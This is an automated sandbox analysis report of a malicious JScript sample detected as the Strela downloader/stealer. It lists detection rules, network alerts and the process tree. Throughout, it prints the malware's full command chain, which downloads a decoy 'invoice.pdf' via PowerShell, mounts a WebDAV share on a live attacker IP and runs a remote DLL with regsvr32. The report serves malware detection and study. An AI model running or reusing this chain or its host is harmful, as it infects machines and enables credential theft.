Edit tour

Windows Analysis Report
247624346306918832.js

Overview

General Information

Sample name:	247624346306918832.js
Analysis ID:	1588855
MD5:	4a7712b15d148f0cbf7ca5b80e1fdb8e
SHA1:	020487b1dfdc0da20cee41e9ec6bac78dc23f98f
SHA256:	f85f9a60b7d1d9cecd706244aa8f64e6614981b83af4841219b72270c86b1c69
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7672 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7760 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7812 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,18169422624924025959,8207642795001843680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8000 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8104 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7452 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7672	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ProcessId: 7672, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8104, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49767

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ProcessId: 7672, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7760, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7812, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8000, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8104, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7452, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8000, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8104, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7672, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll, ProcessId: 7760, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:11.800984+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49753	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:14.235521+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49767	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:11.800984+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49753	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 247624346306918832.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 247624346306918832.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49767 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49753 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49767

